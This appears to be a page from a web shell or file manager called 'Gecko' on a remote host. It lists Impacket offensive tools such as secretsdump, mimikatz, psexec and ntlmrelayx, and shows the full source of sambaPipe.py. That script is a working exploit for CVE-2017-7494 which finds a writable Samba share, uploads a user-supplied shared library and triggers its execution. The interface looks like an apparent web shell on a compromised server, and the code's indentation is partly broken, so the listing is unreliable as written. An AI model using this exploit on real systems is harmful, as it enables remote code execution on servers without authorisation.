Gecko [ 196.203.21.74 ]

Name	Size	Permission
GetADUsers.py	10.68 KB	-rw-rw-rw-
GetNPUsers.py	19.23 KB	-rw-rw-rw-
GetUserSPNs.py	24.97 KB	-rw-rw-rw-
addcomputer.py	31.22 KB	-rw-rw-rw-
atexec.py	12.5 KB	-rw-rw-rw-
dcomexec.py	26.16 KB	-rw-rw-rw-
dpapi.py	27.65 KB	-rw-rw-rw-
easy_install-2.7.exe	90.85 KB	-rwxrwxrwx
easy_install.exe	90.85 KB	-rwxrwxrwx
esentutl.py	3.55 KB	-rw-rw-rw-
exchanger.py	41.71 KB	-rw-rw-rw-
findDelegation.py	14.36 KB	-rw-rw-rw-
flask.exe	94.83 KB	-rwxrwxrwx
futurize-script.py	399 B	-rw-rw-rw-
futurize.exe	64 KB	-rwxrwxrwx
futurize.exe.manifest	643 B	-rw-rw-rw-
getArch.py	4.33 KB	-rw-rw-rw-
getPac.py	13.59 KB	-rw-rw-rw-
getST.py	19.81 KB	-rw-rw-rw-
getTGT.py	5.04 KB	-rw-rw-rw-
goldenPac.py	49.36 KB	-rw-rw-rw-
karmaSMB.py	28.32 KB	-rw-rw-rw-
kintercept.py	9.52 KB	-rw-rw-rw-
ldapdomaindump	69 B	-rw-rw-rw-
ldd2bloodhound	86 B	-rw-rw-rw-
ldd2pretty	74 B	-rw-rw-rw-
lookupsid.py	7.7 KB	-rw-rw-rw-
mimikatz.py	10.02 KB	-rw-rw-rw-
mqtt_check.py	3.15 KB	-rw-rw-rw-
mssqlclient.py	7.71 KB	-rw-rw-rw-
mssqlinstance.py	1.5 KB	-rw-rw-rw-
netview.py	22.64 KB	-rw-rw-rw-
nmapAnswerMachine.py	36.72 KB	-rw-rw-rw-
ntfs-read.py	40.73 KB	-rw-rw-rw-
ntlmrelayx.py	20.87 KB	-rw-rw-rw-
pasteurize-script.py	403 B	-rw-rw-rw-
pasteurize.exe	64 KB	-rwxrwxrwx
pasteurize.exe.manifest	645 B	-rw-rw-rw-
ping.py	2.63 KB	-rw-rw-rw-
ping6.py	2.45 KB	-rw-rw-rw-
pip.exe	94.84 KB	-rwxrwxrwx
pip2.7.exe	94.84 KB	-rwxrwxrwx
pip2.exe	94.84 KB	-rwxrwxrwx
psexec.py	20.78 KB	-rw-rw-rw-
raiseChild.py	60.47 KB	-rw-rw-rw-
rdp_check.py	23.15 KB	-rw-rw-rw-
reg.py	19.05 KB	-rw-rw-rw-
registry-read.py	5.23 KB	-rw-rw-rw-
rpcdump.py	8.43 KB	-rw-rw-rw-
rpcmap.py	17.08 KB	-rw-rw-rw-
sambaPipe.py	12.7 KB	-rw-rw-rw-
samrdump.py	10.86 KB	-rw-rw-rw-
secretsdump.py	20.65 KB	-rw-rw-rw-
services.py	17.08 KB	-rw-rw-rw-
smbclient.py	5.13 KB	-rw-rw-rw-
smbexec.py	15.8 KB	-rw-rw-rw-
smbrelayx.py	58.72 KB	-rw-rw-rw-
smbserver.py	4.29 KB	-rw-rw-rw-
sniff.py	3.23 KB	-rw-rw-rw-
sniffer.py	2.27 KB	-rw-rw-rw-
split.py	4.56 KB	-rw-rw-rw-
ticketConverter.py	2.06 KB	-rw-rw-rw-
ticketer.py	42.33 KB	-rw-rw-rw-
wmiexec.py	17.53 KB	-rw-rw-rw-
wmipersist.py	11.36 KB	-rw-rw-rw-
wmiquery.py	8.68 KB	-rw-rw-rw-

Code Editor : sambaPipe.py

#!C:\Python27\python.exe
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
#
# Author:
#  beto (@agsolino)
#
# Description:
#   This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through
#   the -so parameter.
#
#   The script will use SMB1 or SMB2/3 depending on the target's availability. Also, the target share pathname is
#   retrieved by using NetrShareEnum() API with info level 2.
#
#   Example:
#
#   ./sambaPipe.py -so poc/libpoc.linux64.so bill@10.90.1.1
#
#   It will upload the libpoc.linux64.so file located in the poc directory against the target 10.90.1.1. The username
#   to use for authentication will be 'bill' and the password will be asked.
#
#   ./sambaPipe.py -so poc/libpoc.linux64.so 10.90.1.1
#
#   Same as before, but anonymous authentication will be used.
#
#

import argparse
import logging
import sys
from os import path

from impacket import version
from impacket.examples import logger
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
    FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
    SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
from impacket.smbconnection import SMBConnection

class PIPEDREAM:
    def __init__(self, smbClient, options):
        self.__smbClient = smbClient
        self.__options = options

def isShareWritable(self, shareName):
        logging.debug('Checking %s for write access' % shareName)
        try:
            logging.debug('Connecting to share %s' % shareName)
            tid = self.__smbClient.connectTree(shareName)
        except Exception as e:
            logging.debug(str(e))
            return False

try:
            self.__smbClient.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
            writable = True
        except Exception:
            writable = False
            pass

return writable

def findSuitableShare(self):
        from impacket.dcerpc.v5 import transport, srvs
        rpctransport = transport.SMBTransport(self.__smbClient.getRemoteName(), self.__smbClient.getRemoteHost(),
                                              filename=r'\srvsvc', smb_connection=self.__smbClient)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrShareEnum(dce, 2)
        for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']:
            if self.isShareWritable(share['shi2_netname'][:-1]):
                sharePath = share['shi2_path'].split(':')[-1:][0][:-1]
                return share['shi2_netname'][:-1], sharePath

raise Exception('No suitable share found, aborting!')

def uploadSoFile(self, shareName):
        # Let's extract the filename from the input file pathname
        fileName = path.basename(self.__options.so.replace('\\', '/'))
        logging.info('Uploading %s to target' % fileName)
        fh = open(self.__options.so, 'rb')
        self.__smbClient.putFile(shareName, fileName, fh.read)
        fh.close()
        return fileName

def create(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes,
               impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
               createContexts=None):

packet = self.__smbClient.getSMBServer().SMB_PACKET()
        packet['Command'] = SMB2_CREATE
        packet['TreeID'] = treeId
        if self.__smbClient._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
            packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS

smb2Create = SMB2Create()
        smb2Create['SecurityFlags'] = 0
        smb2Create['RequestedOplockLevel'] = oplockLevel
        smb2Create['ImpersonationLevel'] = impersonationLevel
        smb2Create['DesiredAccess'] = desiredAccess
        smb2Create['FileAttributes'] = fileAttributes
        smb2Create['ShareAccess'] = shareMode
        smb2Create['CreateDisposition'] = creationDisposition
        smb2Create['CreateOptions'] = creationOptions

smb2Create['NameLength'] = len(fileName) * 2
        if fileName != '':
            smb2Create['Buffer'] = fileName.encode('utf-16le')
        else:
            smb2Create['Buffer'] = b'\x00'

if createContexts is not None:
            smb2Create['Buffer'] += createContexts
            smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
            smb2Create['CreateContextsLength'] = len(createContexts)
        else:
            smb2Create['CreateContextsOffset'] = 0
            smb2Create['CreateContextsLength'] = 0

packet['Data'] = smb2Create

packetID = self.__smbClient.getSMBServer().sendSMB(packet)
        ans = self.__smbClient.getSMBServer().recvSMB(packetID)
        if ans.isValidAnswer(STATUS_SUCCESS):
            createResponse = SMB2Create_Response(ans['Data'])

# The client MUST generate a handle for the Open, and it MUST
            # return success and the generated handle to the calling application.
            # In our case, str(FileID)
            return str(createResponse['FileID'])

def openPipe(self, sharePath, fileName):
        # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
        # to make things easier for the caller. Not this time ;)
        treeId = self.__smbClient.connectTree('IPC$')
        sharePath = sharePath.replace('\\', '/')
        pathName = '/' + path.join(sharePath, fileName)
        logging.info('Final path to load is %s' % pathName)
        logging.info('Triggering bug now, cross your fingers')

if self.__smbClient.getDialect() == SMB_DIALECT:
            _, flags2 = self.__smbClient.getSMBServer().get_flags()

pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName

ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
            ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
            ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
            ntCreate['Parameters']['FileNameLength'] = len(pathName)
            ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
            ntCreate['Parameters']['FileAttributes'] = 0
            ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
            ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
            ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
            ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
            ntCreate['Parameters']['SecurityFlags'] = 0
            ntCreate['Parameters']['CreateFlags'] = 0x16
            ntCreate['Data']['FileName'] = pathName

if flags2 & SMB.FLAGS2_UNICODE:
                ntCreate['Data']['Pad'] = 0x0

return self.__smbClient.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
        else:
            return self.create(treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
                               creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)

def run(self):
        logging.info('Finding a writeable share at target')

shareName, sharePath = self.findSuitableShare()

logging.info('Found share %s with path %s' % (shareName, sharePath))

fileName = self.uploadSoFile(shareName)

logging.info('Share path is %s' % sharePath)
        try:
            self.openPipe(sharePath, fileName)
        except Exception as e:
            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
                logging.info('Expected STATUS_OBJECT_NAME_NOT_FOUND received, doesn\'t mean the exploit worked tho')
            else:
                logging.info('Target likely not vulnerable, Unexpected %s' % str(e))
        finally:
            logging.info('Removing file from target')
            self.__smbClient.deleteFile(shareName, fileName)

# Process command-line arguments.
if __name__ == '__main__':
    # Init the example's logger theme
    logger.init()
    print(version.BANNER)

parser = argparse.ArgumentParser(add_help=True, description="Samba Pipe exploit")

parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-so', action='store', required = True, help='so filename to upload and load')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

group = parser.add_argument_group('authentication')

group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true",
                       help='Use Kerberos authentication. Grabs credentials from ccache file '
                            '(KRB5CCNAME) based on target parameters. If valid credentials '
                            'cannot be found, it will use the ones specified in the command '
                            'line')
    group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
                                                                          '(128 or 256 bits)')

group = parser.add_argument_group('connection')

group.add_argument('-dc-ip', action='store', metavar="ip address",
                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
                            'the target parameter')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')

if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

options = parser.parse_args()

if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)

import re

domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
        options.target).groups('')

# In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

if options.target_ip is None:
        options.target_ip = address

if domain is None:
        domain = ''

if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass

password = getpass("Password:")

if options.aesKey is not None:
        options.k = True

if options.hashes is not None:
        lmhash, nthash = options.hashes.split(':')
    else:
        lmhash = ''
        nthash = ''

try:
        smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT)
        if options.k is True:
            smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)
        else:
            smbClient.login(username, password, domain, lmhash, nthash)

if smbClient.getDialect() != SMB_DIALECT:
            # Let's disable SMB3 Encryption for now
            smbClient._SMBConnection._Session['SessionFlags'] &=  ~SMB2_SESSION_FLAG_ENCRYPT_DATA
        pipeDream = PIPEDREAM(smbClient, options)
        pipeDream.run()
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))

${this.title}

Code Editor : sambaPipe.py